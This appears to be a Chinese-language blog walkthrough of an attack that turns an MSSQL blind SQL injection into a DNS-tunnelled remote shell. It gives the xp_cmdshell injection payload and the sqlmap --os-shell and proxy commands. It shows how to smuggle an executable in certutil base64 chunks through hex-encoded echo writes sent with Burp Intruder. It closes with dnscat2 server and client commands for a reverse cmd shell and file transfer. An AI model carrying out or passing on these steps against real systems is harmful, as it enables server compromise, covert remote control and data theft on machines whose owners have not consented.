wordpress做社交网站吗/软件推广
前言:
最近遇到一个点感觉蛮有意思的这里给大家分享下!
正题:
mssql时间盲注,sa权限,只有dns出网,站库分离,get型注入
getshell的思路 :
利用DNS马上线(dnscat2等)
问题: 如何将dns马写入服务器?
利用windows中自带的certutil对dns马进行base64编码:
(1) 首先在我们本地对其base64编码
certutil -encode dns.exe dns.txt
注:编码后的文件会添加两处标识信息:
文件头:
—–BEGIN CERTIFICATE—–
文件尾:
—–END CERTIFICATE—–
(2) 然后把dns.txt中的俩行表时信息去掉,再把里面所有的空行去掉(可以借助subline或者notepad+=等工具删除)
(3) 由于命令行提示符下最大接收8191个字符,所以我们执行的命令不能超过8191.而且这里我们的注入是get型的,所有的payload都要使用get方法进行传参.而get方法传参又有字符长度的限制(具体多长,我也不太清楚),我这里是把它分成了800字符
这里我们可以借助sqlmap的--os-shell执行echo写入命令来测试下多少字节可以正常写入
我在--os-shell中执行echo写入发现写如800字节的时候可以正常写入,但是1000字节就无法正常写入了,所以我就把base64内容分为了800字节的等份,然后一条一条去写入
(4) 进行分割后发现一共分了290多份,想到这一行一行写太累了,于是想到使用burpsuite来写
第一步: 给sqlmap设置代理 : --proxy=http://127.0.0.1:8080
第二步: 抓取在--os-shell中执行命令的数据包:
python sqlmap.py -u "http://xx.com/?id=1" --os-shell --proxy=http://127.0.0.1:8080
这里主要是为了看下sqlmap执行命令的这个payload
';DECLARE @guwf VARCHAR(8000);SET @guwf=0x77686f616d69;EXEC master..xp_cmdshell @guwf--
(5) 可以看到我们执行的命令是被转成16进制后去带入执行,所以我们需要把每条echo语句都转为16进制(这个可以借助python来完成)
(6) 然后将抓取的那个执行命令的数据包发送到burp的爆破模块,将16进制部分添加为变量,再把我们的转为16进制的每条echo语句作为字典去爆破
我们要写入到一个文件,所以设置线程为1.最好再设置一个请求间隔,以防内容写串行!
(7) 等待其完成后,我们可以利用sqlmap的--os-shell执行命令验证下:
dir 文件的完整路径 | findstr File
然后跟我们本地的base64编码后的文件对比下,看是否写入完整
(8) 解析来对base64内容进行解码:
certutil -decode dns.txt dns.exe
最后再简单说下dnscat2的使用:
项目地址: https://github.com/iagox86/dnscat2
服务端需要ruby环境支持 客户端可以自己下载源代码进行编译,也可以下载作者编译好的
使用:
服务端:
首先进入到server目录:
ruby dnscat2.rb
运行后会有一个密钥,客户端连接的时候需要
客户端:
dnscat2 --dns server=x.x.x.x,port=53 --secret=密钥
如果想要固定密钥,可以使用以下命令:
服务端:
ruby dnscat2.rb --dns host=x.x.x.x,port=xx --secret=123456
客户端:
dnscat2 --dns server=x.x.x.x,port=xx --secret=123456
还可以使用域名来进行连接:
服务端:
ruby./dnscat2.rb xxx.com --secret=123456
客户端:
dnscat --secret=123456 xxx.com
`
运行客户端后的操作:
(1) 运行客户端,连接成功后,客户端会显示 Sessionestablished!
而服务端会接收到一个window:
New window created: 1
(2) 服务端执行windows即可查看已建立的连接,使用 window-i1
即可进入到对应连接
(3) 进入到连接后,输入shell即可反弹一个cmd的shell回来,反弹成功后会会提示 Shellsession created!
:
Sent request to execute a shell
command (DESKTOP-xxxxx) 1> New window created: 2
Shell session created!
(4) 我们 ctrl+z
返回dnscat的命令行,再次windows查看就可以看到多了一个cmd的连接:
dnscat2> windows
0 :: main [active]
crypto-debug :: Debug window for crypto stuff [*]
dns1 :: DNS Driver running on 0.0.0.0:53531 domains = [*]
1 :: command (DESKTOP-xxxxx) [encrypted and verified]
2 :: sh (DESKTOP-xxxxx) [encrypted and verified] [*]
(4) command连接下其他的一些操作:
连接通道后,使用help同样可以看到其内支持的命令(单个命令后跟-h也会解释该命令):
clear(清屏)
delay(修改远程会话超时时间)
exec(执行远程机上的程序)
shell(得到一个反弹shell)
download/upload(两端之间上传下载文件)
supend(返回到上一层,等于快捷键ctrl+z)